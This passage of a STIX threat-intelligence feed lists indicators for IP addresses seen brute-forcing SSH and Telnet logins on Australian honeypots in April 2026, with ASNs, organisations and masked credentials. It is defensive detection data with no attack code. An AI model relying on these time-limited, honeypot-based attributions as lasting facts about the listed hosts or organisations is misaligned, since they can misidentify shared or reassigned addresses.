      "type": "indicator",
      "valid_from": "2026-04-29T15:15:11.000Z",
      "valid_until": "2026-05-31T15:15:08.000Z"
    },
    {
      "created": "2026-04-29T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--84ae0fc9-e187-4efd-9648-4916a98694e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:15:11.000Z",
      "valid_until": "2026-05-31T15:15:08.000Z"
    },
    {
      "created": "2026-04-29T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA.",
      "id": "indicator--5895d887-d845-433e-9b48-53b25969490b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.119.16.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:15:11.000Z",
      "valid_until": "2026-05-31T15:15:08.000Z"
    },
    {
      "created": "2026-04-29T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 50581. Organisation(s): Ukrainian Telecommunication Group LLC.",
      "id": "indicator--dd2bd42c-f72c-4834-835b-a362f12ec170",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.215.146.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T15:15:11.000Z",
      "valid_until": "2026-05-31T15:15:08.000Z"
    },
    {
      "created": "2026-04-29T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--017ce15f-23ef-4f71-bbe7-759e70ee5f40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.55.10.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:15:10.000Z",
      "valid_until": "2026-05-31T16:15:08.000Z"
    },
    {
      "created": "2026-04-29T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): r**t. Passwords observed (masked): P**********!.",
      "id": "indicator--2ecba81e-f4e1-4e7f-85f7-31b71accf811",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.69.64.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:15:10.000Z",
      "valid_until": "2026-05-31T16:15:08.000Z"
    },
    {
      "created": "2026-04-29T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263135. Organisation(s): NOVA PORTONET TELECOMUNICACOES LTDA ME.",
      "id": "indicator--b4fec8b6-2a8a-4d7e-ab44-32302f62ffd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.190.77.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:15:10.000Z",
      "valid_until": "2026-05-31T16:15:08.000Z"
    },
    {
      "created": "2026-04-29T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--9bc4bd70-0dcd-45ee-b7f6-73b4f2220b56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.190.248.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:15:10.000Z",
      "valid_until": "2026-05-31T16:15:08.000Z"
    },
    {
      "created": "2026-04-29T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LB. ASN(s): 43019. Organisation(s): Farah Net S.a.r.l..",
      "id": "indicator--e8e2b346-d56c-4eec-8f99-66ed9cf59b74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.206.200.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:15:10.000Z",
      "valid_until": "2026-05-31T16:15:08.000Z"
    },
    {
      "created": "2026-04-29T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--7ae79a19-74b0-4545-ab29-28589b468ee1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.127.195.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:15:10.000Z",
      "valid_until": "2026-05-31T16:15:08.000Z"
    },
    {
      "created": "2026-04-29T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--d682c300-fe8c-4bec-bc51-2017b006703f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.251.88.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:15:10.000Z",
      "valid_until": "2026-05-31T16:15:08.000Z"
    },
    {
      "created": "2026-04-29T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 812. Organisation(s): Rogers Communications Canada Inc..",
      "id": "indicator--7e5740ab-9e16-42a9-b0c6-acdc8af56cac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '99.228.247.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:15:10.000Z",
      "valid_until": "2026-05-31T16:15:08.000Z"
    },
    {
      "created": "2026-04-29T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 136334. Organisation(s): Vortex Netsol Private Limited.",
      "id": "indicator--1b936fd5-dd1e-4ae7-b1bc-68c1607d3723",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.212.142.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T17:15:10.000Z",
      "valid_until": "2026-05-31T17:15:08.000Z"
    },
    {
      "created": "2026-04-29T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 211273. Organisation(s): Cloud Software - FZCO. Usernames observed (masked): a****m, r**t, s*****t. Passwords observed (masked): a***n, s*****t.",
      "id": "indicator--daf08cb0-316f-4b1e-b769-c6666f595b07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.252.175.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T17:15:10.000Z",
      "valid_until": "2026-05-31T17:15:08.000Z"
    },
    {
      "created": "2026-04-29T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--925aac72-0380-4cf0-84e8-cf364501794e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T17:15:10.000Z",
      "valid_until": "2026-05-31T17:15:08.000Z"
    },
    {
      "created": "2026-04-29T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263924. Organisation(s): Sonik Servicos de Comunicacao LTDA.",
      "id": "indicator--0f6a7f43-8544-481a-86ca-a2e76e55e9a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '168.232.174.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T17:15:10.000Z",
      "valid_until": "2026-05-31T17:15:08.000Z"
    },
    {
      "created": "2026-04-29T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a***n, d****y, d****s. Passwords observed (masked): 1*****1, 1**0, 1****0, 1**1, 1*******3.",
      "id": "indicator--bba4ac5c-369b-4b87-b44d-52334cd9ff9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.249.245.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T17:15:10.000Z",
      "valid_until": "2026-05-31T17:15:08.000Z"
    },
    {
      "created": "2026-04-29T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): t*****p. Passwords observed (masked): t*****p.",
      "id": "indicator--12ef8f81-3b44-4336-8a62-f43ab3158d92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T17:15:10.000Z",
      "valid_until": "2026-05-31T17:15:08.000Z"
    },
    {
      "created": "2026-04-29T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c438fe82-3c07-4f50-be01-b25adb44c473",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.57.170.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T17:15:10.000Z",
      "valid_until": "2026-05-31T17:15:08.000Z"
    },
    {
      "created": "2026-04-29T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 317. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36454. Organisation(s): WHG Hosting Services Ltd. Usernames observed (masked): r**t, 3**********4, a***n, a***********r, b*****i. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******@, 1**4.",
      "id": "indicator--e424909b-ba8c-4703-9007-2416bbe99e45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.181.123.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T17:15:10.000Z",
      "valid_until": "2026-05-31T17:15:08.000Z"
    },
    {
      "created": "2026-04-29T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--ff40a073-a2c4-4e91-9edc-bcc1d0a0f8a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.89.29.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T19:15:03.000Z",
      "valid_until": "2026-05-31T19:15:00.000Z"
    },
    {
      "created": "2026-04-29T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 42322. Organisation(s): MTS PJSC.",
      "id": "indicator--12aee693-1547-44c1-acdc-e929de9aead6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.19.77.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T19:15:03.000Z",
      "valid_until": "2026-05-31T19:15:00.000Z"
    },
    {
      "created": "2026-04-29T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4979f20d-978a-481b-9e67-94b1c28f058f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.233.131.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T19:15:03.000Z",
      "valid_until": "2026-05-31T19:15:00.000Z"
    },
    {
      "created": "2026-04-29T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 137239. Organisation(s): Fil Products Service Television Incorporated.",
      "id": "indicator--8896a877-190c-4948-8a6b-ae2bb4963e63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.105.214.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:15:10.000Z",
      "valid_until": "2026-05-31T20:15:08.000Z"
    },
    {
      "created": "2026-04-29T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 150. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, s*****t, 1**4, c****g. Passwords observed (masked): 1**4, a******3, 1***5, 1****6, O************Z.",
      "id": "indicator--be0e3f04-fa0a-4252-97f9-f0f4b534df8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.169.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:15:10.000Z",
      "valid_until": "2026-05-31T20:15:08.000Z"
    },
    {
      "created": "2026-04-29T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266445. Organisation(s): SEA TELECOM LTDA.",
      "id": "indicator--956c5f35-89e1-40c1-a340-1c116200402a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '149.102.91.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:15:10.000Z",
      "valid_until": "2026-05-31T20:15:08.000Z"
    },
    {
      "created": "2026-04-29T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CI. ASN(s): 29571. Organisation(s): ORANGE-COTE-IVOIRE.",
      "id": "indicator--0fc544e0-7a4b-4657-b8c1-85a0135e058f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.120.252.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:15:10.000Z",
      "valid_until": "2026-05-31T20:15:08.000Z"
    },
    {
      "created": "2026-04-29T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28124. Organisation(s): UFINET BRASIL S.A..",
      "id": "indicator--d475c41e-3fbc-4636-9905-b1820b08c7c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.108.231.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:15:10.000Z",
      "valid_until": "2026-05-31T20:15:08.000Z"
    },
    {
      "created": "2026-04-29T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 391. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, u**r, a****n. Passwords observed (masked): a***n, p******d, a****3, 0**************D, *.",
      "id": "indicator--c96a9439-2575-4f21-8395-73dd7aecb6f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.40.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:15:10.000Z",
      "valid_until": "2026-05-31T20:15:08.000Z"
    },
    {
      "created": "2026-04-29T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272809. Organisation(s): THUNDERNET, C.A..",
      "id": "indicator--97ffb588-e8a0-403c-8626-51a252359922",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.207.238.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:15:10.000Z",
      "valid_until": "2026-05-31T20:15:08.000Z"
    },
    {
      "created": "2026-04-29T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--16516265-fddc-4954-9ba3-e8ac8548520f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.130.148.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:15:10.000Z",
      "valid_until": "2026-05-31T20:15:08.000Z"
    },
    {
      "created": "2026-04-29T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 213438. Organisation(s): ColocaTel Inc.. Usernames observed (masked): r**t, a***n, t**********n, u**r. Passwords observed (masked): , a***n, a**********m, r**t, u**r.",
      "id": "indicator--3ff62667-eecd-48f8-a3e4-7c19bf4f9a1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:15:10.000Z",
      "valid_until": "2026-05-31T20:15:08.000Z"
    },
    {
      "created": "2026-04-29T21:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 37645. Organisation(s): ZAP-Angola.",
      "id": "indicator--60e209f8-4cac-4363-95c5-441280789231",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '129.122.178.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T21:15:12.000Z",
      "valid_until": "2026-05-31T21:15:08.000Z"
    },
    {
      "created": "2026-04-29T21:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--b2df8f93-7afc-47e7-aeb4-53dcdeb076b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.124.196.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T21:15:12.000Z",
      "valid_until": "2026-05-31T21:15:08.000Z"
    },
    {
      "created": "2026-04-29T21:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 3549. Organisation(s): Level 3 Parent, LLC.",
      "id": "indicator--d4b0b1e6-fafb-40f6-a569-b14e59aa13c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '168.195.203.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T21:15:12.000Z",
      "valid_until": "2026-05-31T21:15:08.000Z"
    },
    {
      "created": "2026-04-29T21:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28661. Organisation(s): HOTLINK INTERNET LTDA.",
      "id": "indicator--8f2dda9d-824e-4216-95b9-2316a383c396",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.1.12.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T21:15:12.000Z",
      "valid_until": "2026-05-31T21:15:08.000Z"
    },
    {
      "created": "2026-04-29T21:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37105. Organisation(s): RAIN-GROUP-HOLDINGS.",
      "id": "indicator--50695961-6543-42f8-917b-722016fbd563",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T21:15:12.000Z",
